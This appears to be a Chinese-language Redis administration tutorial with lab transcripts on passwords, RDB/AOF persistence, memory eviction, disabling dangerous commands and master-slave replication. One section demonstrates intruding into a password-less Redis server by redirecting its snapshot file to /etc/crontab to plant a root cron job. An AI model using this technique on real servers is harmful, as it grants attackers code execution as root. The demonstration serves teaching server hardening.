#重启redis
[root@localhost ~]# redis-cli shutdown
[root@localhost ~]# netstat -antup | grep redis
[root@localhost ~]# redis-server /usr/local/redis/conf/redis.conf
[root@localhost ~]# redis-cli
127.0.0.1:6379> keys *
(error) NOAUTH Authentication required.				#需要验证才能查看,密码起作用了
127.0.0.1:6379> auth 123456								#通过auth 密码的方式进行验证
OK
127.0.0.1:6379> set name benet
OK

#非交互式输入密码进行登录
[root@localhost ~]# redis-cli -h 127.0.0.1 -p 6379 -a 123456 get name
Warning: Using a password with '-a' option on the command line interface may not be safe.
"benet"
#警告:使用-a方式输入密码并不安全

(2)使用交互式的方式给redis增加密码(无需重启redis)

#将之前在配置文件里设置的密码参数删除
[root@localhost ~]# tail -1 /usr/local/redis/conf/redis.conf
requirepass "123456"
[root@localhost ~]# sed -i '$d' /usr/local/redis/conf/redis.conf
[root@localhost ~]# tail -1 /usr/local/redis/conf/redis.conf
aof-rewrite-incremental-fsync yes

#重启redis-server
[root@localhost ~]# redis-cli -a 123456 shutdown
Warning: Using a password with '-a' option on the command line interface may not be safe.
[root@localhost ~]# netstat -antup | grep redis
[root@localhost ~]# redis-server /usr/local/redis/conf/redis.conf

#交互式登陆redis设置密码
[root@localhost ~]# redis-cli 
127.0.0.1:6379> get name
"benet"
127.0.0.1:6379> config get requirepass				#获取redis配置的密码信息
1) "requirepass"
2) ""					#此时密码空
127.0.0.1:6379> config set requirepass 123456				#给redis设置密码
OK
127.0.0.1:6379> config get requirepass
(error) NOAUTH Authentication required.				#密码即时生效
127.0.0.1:6379> auth 123456								#进行密码验证
OK
127.0.0.1:6379> config get requirepass						#查看密码配置信息
1) "requirepass"
2) "123456"									#有密码了
127.0.0.1:6379> config rewrite							#将配置重写进行保存
OK	

#查看redis配置文件最后两行
[root@localhost ~]# tail -2 /usr/local/redis/conf/redis.conf
# Generated by CONFIG REWRITE
requirepass "123456"				#增加了密码配置

  1. 入侵无密码redis服务器演示
#在redis02上操作
[root@localhost ~]# redis-cli -h 192.168.146.164 -p 6379 
192.168.146.164:6379> config set dir /etc/						#将redis01的工作目录改为/etc/
OK
192.168.146.164:6379> config set dbfilename "crontab"					#将redis01的rdb改为crontab
OK
192.168.146.164:6379> config rewrite
OK
192.168.146.164:6379> exit
[root@localhost ~]# echo "* * * * * root echo 'attack'" >> /tmp/attack
[root@localhost ~]# vim /tmp/attack
#此行为空行
* * * * * root echo 'attack'
#此行为空行
[root@localhost ~]# cat /tmp/attack

* * * * * root echo 'attack'

[root@localhost ~]# cat /tmp/attack | redis-cli -h 192.168.146.164 -x set attack 				#设置键为attack,值为文件/tmp/attack的内容
OK
#远程到redis01,强制前台触发快照
[root@localhost ~]# redis-cli -h 192.168.146.164 save
OK

 #在redis01服务器中,查看/etc/crontab文件
[root@localhost ~]# cat /etc/crontab 
REDIS0008	redis-ver4.0.11
redis-bits??eC/used-memÐ 
aof-preamble~?e_4value_44name_0value_02name_4value_42name_3value_35name_3value_32name_3value_33name_1value_16name_2value_21name_3value_34
                                     ages#(-name_0value_03name_2value_27name_0value_09name_0value_08name_4value_41name_4value_46name_2value_25NAMEtestname_0value_01name_0value_06name_1value_13name_1vainfo77-name0valuyunjisuan1value_18
                         agelocation
beijingÿname_2value_29name_1value_10name_4value_48name_4value_45name_1value_15name_4value_43name_2value_23name_4value_40name_3value_36name_4value_49name_3value_31attack 
* * * * * root echo 'attack'								#这里出现了这条定时任务,这条任务每分钟都会被触发

name_0value_07name_3value_39name_2value_20name_1value_17namebenetname_1value_19name_5value_50name_3value_38name_0value_04name_3value_37name_3value_30name_1value_14name_4value_47name_2value_24name_2value_26name_2value_28name_2value_22name_1value_11ÿ¼(E[root@localhost ~]# XshellXshellXshell

#然后你的redis服务器就会被攻击了。
Redis的RDB存储方式

redis持久化的方式:

  • rdb快照 snapshot
  • 保存文件:dump.rdb
  • 优点:快照周期短;对系统性能影响小
  • 缺点:无法做到数据完全不丢失 ;一旦redis出发了快照,会阻塞前台用户客户端的数据输入,用户在快照期间无法写入数据
  • aof数据流(Append Only)默认为no;相当于MySQL的bin-log日志
  • 优点:可以做到数据完全不丢失
  • 缺点:对系统性能影响较大
  • AOF缓存区的同步文件策略由参数appendfsync控制:
  • always:命令写入aof_buf后立即调用系统fsync操作同步到AOF文件,fsync完成后线程返回。这种情况下,每次有写命令都要同步到AOF文件,硬盘IO成为性能瓶颈,Redis只能支持大约几百TPS写入,严重降低了Redis的性能;即便是使用固态硬盘(SSD),每秒大约也只能处理几万个命令,而且会大大降低SSD的寿命。
  • no:命令写入aof_buf后调用系统write操作,不对AOF文件做fsync同步;同步由操作系统负责,通常同步周期为30秒。这种情况下,文件同步的时间不可控,且缓冲区中堆积的数据会很多,数据安全性无法保证。
  • everysec:命令写入aof_buf后调用系统write操作,write完成后线程返回;fsync同步文件操作由专门的线程每秒调用一次。everysec是前述两种策略的折中,是性能和数据安全性的平衡,因此是Redis的默认配置,也是我们推荐的配置。
  1. redis的运行方式说明
    redis如果提供缓存服务,可以关闭所有持久化存储,如此一来redis重启后所有数据会丢失
    开启rdb或aof持久化存储,能把redis中的数据持久化到磁盘中。
    rdb和aof对性能都有影响,所以建议持久化的操作在从库上进行
  2. redis rdb存储方式,使用save配置开启rdb存储或者关闭rdb存储
    aof 用来数据迁移
    rdb 用来主从复制
#与rdb相关的配置文件信息
dir /data/redis/    #dir为rdb存储的路径
dbfilename dump.rdb #rdb存储文件的名字
save 60 10000       #60s改变10000key,触发rdb存储
save 300 10         #300s改变10个key,触发rdb存储
save 900 1          #900s改变1个key触发rdb存储
rdbcompression no   #rdb压缩最好关闭,影响cpu
  1. 设置开启或者关闭rdb存储(平滑修改redis的配置 )
    提示:默认情况下rdb持久化存储是开启的
[root@localhost ~]#  redis-cli config set save ""  #关闭rdb存储
OK
[root@localhost ~]#  redis-cli config rewrite      #配置保存
OK
[root@localhost ~]#  redis-cli config set save "180 1 120 10 60 10000" #开启rdb
OK
[root@localhost ~]#  redis-cli config rewrite      #配置保存
OK
  1. 进行数据写入,观察rdb存储日志
#清空redis数据
127.0.0.1:6379> flushall 或flushdb
OK
127.0.0.1:6379> keys *
(empty list or set)

#输入1万条数据
[root@localhost ~]# for line in `seq -w 10000`;do redis-cli set key_${line} value1_${line};done
#查看日志信息
[root@localhost redis]# cat redis.log 
24223:M 04 Jan 11:21:19.974 * 10000 changes in 60 seconds. Saving...
24223:M 04 Jan 11:21:19.974 * Background saving started by pid 41900
41900:C 04 Jan 11:21:20.130 * DB saved on disk
41900:C 04 Jan 11:21:20.132 * RDB: 0 MB of memory used by copy-on-write
24223:M 04 Jan 11:21:20.175 * Background saving terminated with success

  1. redis提供的bgsave命令能够立刻触发rdb存储,观察存储日志
[root@localhost ~]# redis-cli save				#会阻塞前端客户数据输入
OK
[root@localhost ~]# redis-cli bgsave					#后台启动新进程进行rdb存储
Background saving started

#查看日志
24223:M 04 Jan 11:26:21.096 * 10 changes in 300 seconds. Saving...
24223:M 04 Jan 11:26:21.097 * Background saving started by pid 42160
42160:C 04 Jan 11:26:21.112 * DB saved on disk
42160:C 04 Jan 11:26:21.114 * RDB: 0 MB of memory used by copy-on-write
24223:M 04 Jan 11:26:21.198 * Background saving terminated with success
24223:M 04 Jan 11:34:49.925 * DB saved on disk						#save触发的日志信息
24223:M 04 Jan 11:34:55.277 * Background saving started by pid 42601					#bgsave触发的信息
42601:C 04 Jan 11:34:55.284 * DB saved on disk					#bgsave触发的信息
42601:C 04 Jan 11:34:55.284 * RDB: 0 MB of memory used by copy-on-write							#bgsave触发的信息
24223:M 04 Jan 11:34:55.365 * Background saving terminated with success							#bgsave触发的信息

Redis在为用户处理数据的过程中,是依靠单进程单线程的异步(epoll)来实现的。因此不能在前台处理数据。使用save时会阻塞用户的输入,bgsave在后台另起一个进程,会数据的写入没有阻塞。

Redis的AOF存储方式

redis的appendonly(aof)持久化存储会把用户每次的操作都记录到文件中(类似mysqlbinlog)

  1. 动态开启或者关闭aof
[root@localhost ~]# redis-cli config set appendonly yes			#开启
OK
[root@localhost ~]# redis-cli config rewrite
OK
[root@localhost ~]# redis-cli config set appendonly no				#关闭
OK
[root@localhost ~]# redis-cli config rewrite
OK

  1. 写入数据,观察aof。多次运行,aof文件不断增大,rdb文件大小不变
#查看aof和rdb文件大小
[root@Redis01 redis]# du -sh appendonly.aof 
512K    appendonly.aof
[root@Redis01 redis]# du -sh dump.rdb 
260K    dump.rdb

#写入数据
[root@Redis01 ~]# for line in `seq -w 100`;do redis-cli set key_${line} value_${line};done

#查看aof和rdb文件大小
[root@Redis01 redis]# du -sh appendonly.aof 
1.5M    appendonly.aof
[root@Redis01 redis]# du -sh dump.rdb 
260K    dump.rdb
  1. 重写aof文件,整理相同的key,写入最后的有效值
  bgrewriteaof

用于优化aof,把所有没有产生增量的aof文件里记录的数据全部删除
执行一个AOF文件重写操作。重写会创建一个当前AOF文件的体积优化版本
即使BGREWRITEAOF执行失败,也不会有任何数据丢失,因为旧的AOF文件在BGREWRITEAOF成功之前不会被修改。
重写操作只会在没有其他持久化工作在后台执行时被触发。
从Redis2.4开始,AOF重写由Redis自行触发,BGREWRITEAOF仅仅用于手动触发重写操作。
Rewriteaof是将原有数据和新更新的数据进行整理,在重写。

#清空aof文件
[root@Redis01 redis]# >appendonly.aof 
[root@Redis01 redis]# ls
appendonly.aof  dump.rdb  redis.log  redis.pid
[root@Redis01 redis]# du -sh appendonly.aof 
0   appendonly.aof
[root@Redis01 ~]# redis-cli bgrewriteaof    #手动触发AOF重写
Background append only file rewriting started
[root@Redis01 redis]# du -sh appendonly.aof     #redis里所有数据被重写入aof
512K    appendonly.aof

#清空aof文件
[root@Redis01 redis]# >appendonly.aof 
[root@Redis01 redis]# du -sh appendonly.aof 
0   appendonly.aof
[root@Redis01 redis]# redis-cli set yunjisuan benet
OK
[root@Redis01 redis]# du -sh appendonly.aof 
4.0K    appendonly.aof
[root@Redis01 redis]# cat appendonly.aof 
*2
$6
SELECT          #select 0  表示切换到db0
$1
0
*3
$3
set             #执行set yunjisuan benet
$9
yunjisuan
$5
benet
[root@Redis01 redis]# redis-cli del yunjisuan benet
(integer) 1
[root@Redis01 redis]# cat appendonly.aof 
*2
$6
SELECT
$1
0
*3
$3
set
$9
yunjisuan
$5
benet
*3
$3
del             #执行del yunjisuan benet
$9
yunjisuan
$5
benet

我们发现虽然我们向redis添加了一个key,又删除了这个key。redis数据库从本质上来说并没有新增任何数据。但是aof文件仍旧把操作都给记录了。这样就会导致aof文件最终会非常大。所以aof文件的优化,就是让aof文件进行重写,只记录数据的增量部分。如此aof文件就小很多了。

  1. aof配置自动rewrite机制
#在默认配置文件里,默认存在
auto-aof-rewrite-percentage 100 #默认100%,也就是aof增加一倍后考虑rewrite,两个条件要同时满足
auto-aof-rewrite-min-size 64mb  #默认64mb,也就是aof达到64M后考虑rewirte,两个条件要同时满足

#获取aof-rewrite配置
[root@Redis01 redis]# redis-cli config get auto-aof-rewrite*
1) "auto-aof-rewrite-percentage"
2) "100"
3) "auto-aof-rewrite-min-size"
4) "67108864"       #64MB(单位字节)

#进行aof自动重写测试
[root@Redis01 redis]# redis-cli config set auto-aof-rewrite-min-size 100000
[root@Redis01 redis]# redis-cli config get auto-aof-rewrite*
1) "auto-aof-rewrite-percentage"
2) "100"
3) "auto-aof-rewrite-min-size"
4) "100000"
[root@Redis01 redis]# redis-cli config rewrite
OK
[root@Redis01 redis]# > appendonly.aof 
[root@Redis01 redis]# du -sh appendonly.aof 
0   appendonly.aof
[root@Redis01 ~]# for line in `seq -w 1000`;do redis-cli set key2_${line} value2_${line};done
[root@Redis01 redis]# du -sh appendonly.aof 
48K appendonly.aof
[root@Redis01 ~]# for line in `seq -w 1000`;do redis-cli del key2_${line} value2_${line};done
[root@Redis01 redis]# du -sh appendonly.aof 
128K    appendonly.aof
[root@Redis01 redis]# du -sh appendonly.aof 
128K    appendonly.aof
[root@Redis01 redis]# du -sh appendonly.aof 
92K appendonly.aof              #自动触发了aof重写机制
Redis最大内存设置和删除算法

Redis有16张表(0-15)

redis-cli flushall #手动清空redis里所有数据
  1. redis的键设置有效期,过期自动删除
[root@localhost redis]# redis-cli set name yunjisuan
OK
[root@localhost redis]# redis-cli ttl name					
(integer) -1																					#-1代表key永久有效
[root@localhost redis]# redis-cli expire name 10						#设定key 10s有效
(integer) 1
[root@localhost redis]# redis-cli ttl name									#查看key存活剩余时间
(integer) 5
[root@localhost redis]# redis-cli ttl name
(integer) 2
[root@localhost redis]# redis-cli ttl name									-2表示key已经过期
(integer) -2
[root@localhost redis]# redis-cli get name									#key已经被过期清除了
(nil)

  1. 查看设置最大内存
#查看和设定最大内存限制
[root@localhost redis]# redis-cli config get maxmemory
1) "maxmemory"
2) "0"								#默认对内存无限制
[root@localhost redis]# redis-cli config set maxmemory 1M				#限制1M
OK
[root@localhost redis]# redis-cli config get maxmemory
1) "maxmemory"
2) "1000000"

  1. 可选择的删除算法
  • volatile-lru:
  • 使用LRU算法删除键(key需要设置过期时间)
  • volatile-random:
  • 随机删除键(key需要设置过期时间)
  • volatile-ttl:
  • 删除ttl最小的键(key需要设置过期时间)
  • allkeys-lru:
  • 使用LRU算法删除键(所有key)
  • allkeys-random:
  • 随机删除键(所有key)
  • noeviction:
  • 不进行任何的操作,只返回错误,默认
[root@localhost redis]# redis-cli config get maxmemory-policy					#内存清理算法
1) "maxmemory-policy"
2) "noeviction"						#默认noeviction

  1. 模拟超过内存
[root@localhost ~]# for line in `seq -w 10000`;do redis-cli set key_${line} value_${line};done
[root@localhost ~]# redis-cli set name benet
(error) OOM command not allowed when used memory > 'maxmemory'.
[root@localhost ~]# redis-cli
127.0.0.1:6379> set name benet
(error) OOM command not allowed when used memory > 'maxmemory'.

测试会发现报错 (error) OOM command not allowed when used memory > 'maxmemory'.

  1. 设置删除算法
#将删除算法设置为volatile-lru
[root@Redis01 ~]# redis-cli config get maxmemory-policy
1) "maxmemory-policy"
2) "noeviction"
[root@Redis01 ~]# redis-cli config set maxmemory-policy volatile-lru
OK
[root@Redis01 ~]# redis-cli config get maxmemory-policy
1) "maxmemory-policy"
2) "volatile-lru"
[root@Redis01 ~]# redis-cli config rewrite
OK

#算法测试
[root@Redis01 ~]# redis-cli get key_00111
"value_00111"
[root@Redis01 ~]# redis-cli expire key_00111 3600
(integer) 1
[root@Redis01 ~]# redis-cli ttl key_00111
(integer) -2
[root@Redis01 ~]# redis-cli get key_00111
(nil)

说明:由上述测试可以发现
volatile-lru算法
当内存到了最大值以后,会优先删除有过期时间的key。
Redis禁用屏蔽危险命令
  1. redis禁用的命令
    Redis的危险命令主要有:
    flushdb,清空数据库
    flushall,清空所有记录,数据库
    config,客户端连接后可配置服务器
    keys,客户端连接后可查看所有存在的键,在键过多的时候使用会阻塞业务请求
    作为服务端的redis-server,我们常常需要禁用以上命令来使服务器更加安全。
    禁用的具体做法是,修改服务器的配置文件redis.conf,在SECURITY这一项中,来禁用远程修改 DB 文件地址。

  2. redis禁用危险命令配置代码如下(写入配置文件即可,此配置无法平滑更新)

rename-command  FLUSHALL "" #将命令改名成空
rename-command  FLUSHDB ""  #将命令改名成空
rename-command  KEYS ""     #将命令改名成空

将配置加入redis.conf配置文件

[root@Redis01 ~]# echo 'rename-command  FLUSHALL ""' >> /usr/local/redis/conf/redis.conf
[root@Redis01 ~]# echo 'rename-command  FLUSHDB ""' >> /usr/local/redis/conf/redis.conf
[root@Redis01 ~]# echo 'rename-command  KEYS ""' >> /usr/local/redis/conf/redis.conf
[root@Redis01 ~]# tail -3 /usr/local/redis/conf/redis.conf
rename-command  FLUSHALL ""
rename-command  FLUSHDB ""
rename-command  KEYS ""
  1. 登陆redis,运行禁止命令进行测试
#重启redis-server
[root@Redis01 ~]# redis-cli shutdown
[root@Redis01 ~]# redis-server /usr/local/redis/conf/redis.conf

#测试被屏蔽的危险命令
[root@Redis01 ~]# redis-cli flushall
(error) ERR unknown command `flushall`, with args beginning with: 
[root@Redis01 ~]# redis-cli flushdb
(error) ERR unknown command `flushdb`, with args beginning with: 
[root@Redis01 ~]# redis-cli
127.0.0.1:6379> keys *
(error) ERR unknown command `keys`, with args beginning with: `*`
Redis主从服务器环境的搭建

redis主库不开启任何持久化,rdb、aof全部关闭;主动承接用户的并发写;
redis从库开启rdb、aof,
主从复制原理:
只需要告诉从库:主库是谁;主库无需修改配置信息
从库直接连接主库,主库发现有这个连接,主库执行bgsave,临时生成rdb文件(该文件不写入硬盘,仅为主从复制使用,写在内存中),主库将rdb文件传给从库;
主从复制的本质是通过快照的方式实现的。

主机名IP用途
redis01192.168.200.165redis-master
redis02192.168.200.164redis-slaveA
redis03192.168.200.163redis-slaveB
  1. 环境要求与redis基础编译部署调优
#三台redis都进行如下编译过程
[root@localhost ~]# ls
anaconda-ks.cfg  redis-4.0.11.tar.gz
[root@localhost ~]# yum -y install wget gcc gcc-c++ make tar openssl openssl-devel cmake
[root@localhost ~]# tar xf redis-4.0.11.tar.gz -C /usr/src/
[root@localhost ~]# cd /usr/src/redis-4.0.11/
[root@localhost redis-4.0.11]# make 
[root@localhost redis-4.0.11]# make MALLOC=jemalloc
[root@localhost redis-4.0.11]# make PREFIX=/usr/local/redis install
[root@localhost redis-4.0.11]# cd /usr/local/redis/
[root@localhost redis]# ls
bin
[root@localhost redis]# mkdir -p /usr/local/redis/conf
[root@localhost redis]# cp /usr/src/redis-4.0.11/redis.conf /usr/local/redis/conf/
[root@localhost redis]# cp /usr/src/redis-4.0.11/sentinel.conf /usr/local/redis/conf/
[root@localhost redis]# ln -s /usr/local/redis/bin/* /usr/local/bin/
[root@localhost redis]# which redis-server
/usr/local/bin/redis-server

#三台都进行配置文件优化和简单的基础调优
[root@localhost ~]# cd /usr/local/redis/
[root@localhost redis]# cp conf/redis.conf{,.bak}
[root@localhost redis]# egrep -v "^$|^#" conf/redis.conf.bak > conf/redis.conf
[root@localhost redis]# mkdir -p /data/redis/				#创建redis数据目录

#修改配置文件
[root@localhost redis]# vim conf/redis.conf

  1 bind 0.0.0.0						#监听地址
  3 port 6379							#监听端口
  4 tcp-backlog 1024				#tcp连接数
  7 daemonize yes					#是否后台启动
  9 pidfile /data/redis/redis.pid				 #pid存放目录
 11 logfile "/data/redis/redis.log"				#日志存放目录
 21 dir /data/redis						#工作目录

#进行基础调优设置
[root@localhost redis]# echo "* - nofile 10240" >> /etc/security/limits.conf
[root@localhost ~]# echo "net.core.somaxconn = 10240" >> /etc/sysctl.conf
[root@localhost ~]# echo "vm.overcommit_memory = 1" >> /etc/sysctl.conf 
[root@localhost ~]# sysctl -p
[root@localhost ~]# echo never > /sys/kernel/mm/transparent_hugepage/enabled
[root@localhost ~]# echo never > /sys/kernel/mm/transparent_hugepage/defrag 
[root@localhost ~]# echo 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' >> /etc/rc.local
[root@localhost ~]# echo 'echo never > /sys/kernel/mm/transparent_hugepage/defrag' >> /etc/rc.local

#三台的redis-server都启动
[root@Redis01 ~]# redis-server /usr/local/redis/conf/redis.conf
[root@Redis01 ~]# netstat -antup | grep redis
tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN      24733/redis-server  
[root@Redis02 ~]# redis-server /usr/local/redis/conf/redis.conf
[root@Redis02 ~]# netstat -antup | grep redis
tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN      18289/redis-server  
[root@Redis03 ~]# redis-server /usr/local/redis/conf/redis.conf
[root@Redis03 ~]# netstat -antup | grep redis
tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN      18300/redis-server  
  1. redis主从同步服务器搭建
    redis的主从同步,不用修改master任何配置
    只需要在redis-slave上指定master的IP地址即可
#先启动redis-master,然后再在两个redis-slave上都进行如下操作
[root@Redis02 redis]# redis-cli shutdown
[root@Redis02 ~]# netstat -antup | grep redis
[root@Redis02 ~]#  > /data/redis/redis.log 
[root@Redis02 ~]# echo "SLAVEOF 192.168.146.164 6379" >> /usr/local/redis/conf/redis.conf 
[root@Redis02 ~]# tail -1 /usr/local/redis/conf/redis.conf 
SLAVEOF 192.168.146.164 6379
[root@Redis02 ~]# redis-server /usr/local/redis/conf/redis.conf
[root@Redis02 ~]# netstat -antup | grep redis
tcp        0      0 127.0.0.1:6379          0.0.0.0:*               LISTEN      1718/redis-server 1 
tcp        0      0 192.168.146.165:33418   192.168.146.164:6379    ESTABLISHED 1718/redis-server 1 

  1. 主从同步日志分析(全量同步)
#查看redis-slave同步日志
[root@Redis02 ~]# cat /data/redis/redis.log 
18341:C 11 Aug 13:56:54.895 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
18341:C 11 Aug 13:56:54.895 # Redis version=4.0.11, bits=64, commit=00000000, modified=0, pid=18341, just started
18341:C 11 Aug 13:56:54.895 # Configuration loaded
                _._                                                  
           _.-``__ ''-._                                             
      _.-``    `.  `_.  ''-._           Redis 4.0.11 (00000000/0) 64 bit
  .-`` .-```.  ```\/    _.,_ ''-._                                   
 (    '      ,       .-`  | `,    )     Running in standalone mode
 |`-._`-...-` __...-.``-._|'` _.-'|     Port: 6379
 |    `-._   `._    /     _.-'    |     PID: 18342
  `-._    `-._  `-./  _.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |           http://redis.io        
  `-._    `-._`-.__.-'_.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |                                  
  `-._    `-._`-.__.-'_.-'    _.-'                                   
      `-._    `-.__.-'    _.-'                                       
          `-._        _.-'                                           
              `-.__.-'                                               

18342:S 11 Aug 13:56:54.897 # Server initialized    #服务器初始化
18342:S 11 Aug 13:56:54.897 * DB loaded from disk: 0.000 seconds    #数据从磁盘加载0秒
18342:S 11 Aug 13:56:54.897 * Ready to accept connections           #准备接受连接
18342:S 11 Aug 13:56:54.897 * Connecting to MASTER 192.168.146.165:6379 #链接到主192.168.146.165:6379
18342:S 11 Aug 13:56:54.897 * MASTER <-> SLAVE sync started         #主从同步开始
18342:S 11 Aug 13:56:54.897 * Non blocking connect for SYNC fired the event.    #非阻塞同步连接触发事件
18342:S 11 Aug 13:56:54.898 * Master replied to PING, replication can continue...   #主应答,复制可以继续
18342:S 11 Aug 13:56:54.898 * Partial resynchronization not possible (no cached master) #部分同步不能(本机无缓存的主文件)
18342:S 11 Aug 13:56:54.899 * Full resync from master: e3adc85bd644e66bd1ee17b49c25e5e0491084d5:0   #进行全同步
18342:S 11 Aug 13:56:54.917 * MASTER <-> SLAVE sync: receiving 43606 bytes from master  #从主接收43606字节
18342:S 11 Aug 13:56:54.917 * MASTER <-> SLAVE sync: Flushing old data  #刷新旧数据
18342:S 11 Aug 13:56:54.917 * MASTER <-> SLAVE sync: Loading DB in memory   #加载数据到内存
18342:S 11 Aug 13:56:54.918 * MASTER <-> SLAVE sync: Finished with success  #同步完成

#查看redis-master同步日志
[root@Redis01 ~]# cat /data/redis/redis.log
#从192.168.146.165:6379请求同步
26003:M 11 Aug 14:14:55.342 * Slave 192.168.146.165:6379 asks for synchronization
#从192.168.146.1656379请求完整的重新同步
26003:M 11 Aug 14:14:55.342 * Full resync requested by slave 192.168.146.165:6379
#master启动bgsave与目标的磁盘进行同步
26003:M 11 Aug 14:14:55.342 * Starting BGSAVE for SYNC with target: disk
#后台保存rdb的进程的pid号为26128
26003:M 11 Aug 14:14:55.342 * Background saving started by pid 26128
#rdb文件已经保存到了磁盘
26128:C 11 Aug 14:14:55.344 * DB saved on disk
#rdb写时复制使用了0MB的内存
26128:C 11 Aug 14:14:55.344 * RDB: 0 MB of memory used by copy-on-write
#后台保存成功
26003:M 11 Aug 14:14:55.414 * Background saving terminated with success
#与从192.168.146.165:6379同步成功
26003:M 11 Aug 14:14:55.415 * Synchronization with slave 192.168.146.165:6379 succeeded
  1. 主从同步日志分析(部分同步)
#查看redis-slave同步日志
[root@Redis02 redis]#  cat /data/redis/redis.log 
1786:S 05 Jan 12:15:38.069 # User requested shutdown...
1786:S 05 Jan 12:15:38.069 * Saving the final RDB snapshot before exiting.
1786:S 05 Jan 12:15:38.366 * DB saved on disk
1786:S 05 Jan 12:15:38.366 * Removing the pid file.
1786:S 05 Jan 12:15:38.366 # Redis is now ready to exit, bye bye...
1798:C 05 Jan 12:15:51.141 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
1798:C 05 Jan 12:15:51.141 # Redis version=4.0.11, bits=64, commit=00000000, modified=0, pid=1798, just started
1798:C 05 Jan 12:15:51.141 # Configuration loaded
1799:S 05 Jan 12:15:51.143 * Increased maximum number of open files to 10032 (it was originally set to 1024).
                _._                                                  
           _.-``__ ''-._                                             
      _.-``    `.  `_.  ''-._           Redis 4.0.11 (00000000/0) 64 bit
  .-`` .-```.  ```\/    _.,_ ''-._                                   
 (    '      ,       .-`  | `,    )     Running in standalone mode
 |`-._`-...-` __...-.``-._|'` _.-'|     Port: 6379
 |    `-._   `._    /     _.-'    |     PID: 1799
  `-._    `-._  `-./  _.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |           http://redis.io        
  `-._    `-._`-.__.-'_.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |                                  
  `-._    `-._`-.__.-'_.-'    _.-'                                   
      `-._    `-.__.-'    _.-'                                       
          `-._        _.-'                                           
              `-.__.-'                                               

1799:S 05 Jan 12:15:51.144 # Server initialized						#服务器初始化
1799:S 05 Jan 12:15:51.145 * DB loaded from disk: 0.000 seconds					#数据从磁盘加载0秒
1799:S 05 Jan 12:15:51.145 * Before turning into a slave, using my master parameters to synthesize a cached master: I may be able to synchronize with the new master with just a partial transfer.
1799:S 05 Jan 12:15:51.145 * Ready to accept connections				#准备接受连接
1799:S 05 Jan 12:15:51.145 * Connecting to MASTER 192.168.146.164:6379				#连接到主192.168.146.164:6379
1799:S 05 Jan 12:15:51.145 * MASTER <-> SLAVE sync started						#主从同步开始
1799:S 05 Jan 12:15:51.145 * Non blocking connect for SYNC fired the event.					#非阻塞同步连接触发事件
1799:S 05 Jan 12:15:51.146 * Master replied to PING, replication can continue...					#主应答,复制可以继续
#尝试进行部分同步(要求38307e56a476f617f74f1143d9ab540041e1ad30:715)
1799:S 05 Jan 12:15:51.146 * Trying a partial resynchronization (request 					38307e56a476f617f74f1143d9ab540041e1ad30:715).													
1799:S 05 Jan 12:15:51.147 * Successful partial resynchronization with master.					#成功进行部分同步
1799:S 05 Jan 12:15:51.147 * MASTER <-> SLAVE sync: Master accepted a Partial Resynchronization.				#master应答接受一个部分同步的请求


#查看redis-master日志
[root@Redis01 ~]# cat /data/redis/redis.log 
#一个从库192.168.146.164:6379请求进行同步
1799:S 05 Jan 12:15:51.146 * Slave 192.168.146.164:6379 asks for synchronization
#一个部分同步的请求来自192.168.146.164:6379,master已经接受请求,从偏移量为911处开始发送98字节的剩余数据
1799:S 05 Jan 12:15:51.146 * Partial resynchronization request from 192.168.146.164:6379 accepted. Sending 98 bytes of backlog starting from offset 911.
  1. 主从同步的停止
#清空从库日志
[root@Redis02 redis]# >/data/redis/redis.log 

#停止从库主从同步(只能在从库上执行)
[root@Redis02 redis]# redis-cli slaveof no one
OK

#查看日志
[root@Redis02 redis]# cat /data/redis/redis.log
#将第二次复制的ID设置为38307e56a476f617f74f1143d9ab540041e1ad30,有效偏移量:1765。新的复制ID为13ffc54cc5cf9f6a91849b9eb78623da6526a132
1799:M 05 Jan 12:28:14.009 # Setting secondary replication ID to 38307e56a476f617f74f1143d9ab540041e1ad30, valid up to offset: 1765. New replication ID is 13ffc54cc5cf9f6a91849b9eb78623da6526a132
1799:M 05 Jan 12:28:14.009 # Connection with master lost.					#与主库失去联系
1799:M 05 Jan 12:28:14.009 * Caching the disconnected master state.			#主从状态缓存断开
1799:M 05 Jan 12:28:14.010 * Discarding previously cached master state.				#丢弃之前缓存的主的状态
#主模式启用
1799:M 05 Jan 12:28:14.010 * MASTER MODE enabled (user request from 'id=4 addr=127.0.0.1:53792 fd=8 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=0 qbuf-free=32768 obl=0 oll=0 omem=0 events=r cmd=slaveof')

#清空redis日志并恢复从库主从同步
[root@Redis02 redis]# > /data/redis/redis.log
[root@Redis02 redis]# redis-cli slaveof 192.168.146.164 6379
OK

#查看slave日志
[root@Redis02 redis]#  cat /data/redis/redis.log 
1799:S 05 Jan 12:32:19.248 * SLAVE OF 192.168.146.164:6379 enabled (user request from 'id=34 addr=127.0.0.1:53796 fd=7 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=0 qbuf-free=32768 obl=0 oll=0 omem=0 events=r cmd=slaveof')
1799:S 05 Jan 12:32:19.351 * Connecting to MASTER 192.168.146.164:6379
1799:S 05 Jan 12:32:19.351 * MASTER <-> SLAVE sync started
1799:S 05 Jan 12:32:19.352 * Non blocking connect for SYNC fired the event.
1799:S 05 Jan 12:32:19.352 * Master replied to PING, replication can continue...
1799:S 05 Jan 12:32:19.354 * Trying a partial resynchronization (request 13ffc54cc5cf9f6a91849b9eb78623da6526a132:1765).
1799:S 05 Jan 12:32:19.356 * Full resync from master: 38307e56a476f617f74f1143d9ab540041e1ad30:2114
1799:S 05 Jan 12:32:19.357 * Discarding previously cached master state.
1799:S 05 Jan 12:32:19.455 * MASTER <-> SLAVE sync: receiving 3079 bytes from master
1799:S 05 Jan 12:32:19.456 * MASTER <-> SLAVE sync: Flushing old data
1799:S 05 Jan 12:32:19.456 * MASTER <-> SLAVE sync: Loading DB in memory
